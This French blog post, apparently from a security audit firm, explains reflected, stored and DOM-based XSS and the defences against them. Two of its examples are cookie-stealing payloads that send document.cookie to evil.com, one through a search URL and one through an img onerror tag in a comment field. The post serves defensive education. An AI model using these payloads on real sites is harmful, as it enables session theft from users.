Retour au blog
webXSStechnique

XSS expliqué : reflected, stored, DOM-based, comment se protéger

Publié le 2026-04-028 min de lectureFlorian

Qu'est-ce que le XSS

Le Cross-Site Scripting permet à un attaquant d'injecter du code JavaScript dans le navigateur d'un autre utilisateur. Les conséquences vont du vol de session au détournement complet du compte. C'est la vulnérabilité web la plus répandue : elle apparaît dans plus de 60% des applications que nous auditons chez CleanIssue.

XSS Reflected (réfléchi)

Le script malveillant est inclus dans l'URL ou dans un paramètre de requête. Le serveur le renvoie directement dans la réponse HTML sans l'assainir. L'attaquant envoie un lien piégé à la victime.

Exemple concret : une page de recherche affiche Résultats pour : [terme] sans échappement. L'URL /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> exécute le script dans le navigateur de la victime.

Vecteurs fréquents : pages de recherche, messages d'erreur personnalisés, redirections avec paramètres non validés.

XSS Stored (persistant)

Le script est stocké côté serveur (base de données, fichier) et servi à tous les utilisateurs qui consultent la ressource. C'est le type le plus dangereux car il ne nécessite aucune interaction de la victime au-delà de la consultation normale.

Exemple concret : un champ de commentaire accepte du HTML. Un attaquant poste <img src=x onerror=fetch('https://evil.com/'+document.cookie)>. Tous les visiteurs de la page exécutent le script.

Vecteurs fréquents : commentaires, profils utilisateur, noms de fichiers uploadés, champs de formulaire affichés dans des tableaux de bord admin.

XSS DOM-based

Le script s'exécute entièrement côté client. Le serveur ne voit jamais le payload. Le code JavaScript de la page lit une source non fiable (location.hash, document.referrer, postMessage) et l'injecte dans le DOM sans assainissement.

Exemple concret : document.getElementById('greeting').innerHTML = 'Bonjour ' + location.hash.slice(1). L'URL /page#<img src=x onerror=alert(1)> déclenche l'exécution.

Vecteurs fréquents : applications React avec dangerouslySetInnerHTML, templates côté client, widgets tiers qui lisent des paramètres d'URL.

Les défenses qui fonctionnent

  • Échappement contextuel : échapper les caractères selon le contexte (HTML, attribut, JavaScript, CSS, URL). Les frameworks modernes comme React échappent par défaut, sauf quand vous utilisez dangerouslySetInnerHTML.
  • Content Security Policy : un header CSP strict (script-src 'self') bloque l'exécution de scripts inline même si une injection réussit. C'est la défense en profondeur la plus efficace.
  • Validation des entrées : rejeter les données qui contiennent des caractères inattendus pour le contexte. Un nom d'utilisateur n'a pas besoin de contenir < ou >.
  • DOMPurify côté client : si vous devez afficher du HTML fourni par l'utilisateur, utilisez une bibliothèque de sanitization éprouvée comme DOMPurify. Ne réinventez jamais votre propre filtre.
  • Cookies HttpOnly et SameSite : même si un XSS s'exécute, le vol de cookies est empêché si ceux-ci sont marqués HttpOnly. Le flag SameSite=Strict bloque l'envoi automatique vers des domaines tiers.
  • Les erreurs qu'on voit le plus

  • Échapper en HTML mais pas dans les attributs JavaScript
  • Faire confiance à un WAF pour bloquer les XSS (les contournements sont triviaux)
  • Oublier les XSS dans les emails HTML générés côté serveur
  • Ne pas tester les champs cachés ou les headers HTTP reflétés
  • Demandez un revue externe CleanIssue pour vérifier votre exposition au XSS sur l'ensemble de vos surfaces exposées.

    Articles liés

    Trois analyses proches pour continuer la lecture sur la meme surface de risque.

    Sources

    Rédigé par Florian
    Revu le 2026-04-02

    Analyse éditoriale fondée sur la documentation officielle des éditeurs, projets et autorités concernées.

    Services associés

    Si ce sujet reflète un risque concret sur votre stack, voici les audits CleanIssue les plus pertinents.

    Besoin d'une revue externe de votre SaaS RH ?

    Expliquez votre produit, votre stack et votre contexte client. Nous revenons vers vous avec le bon niveau de revue.

    Parler de votre audit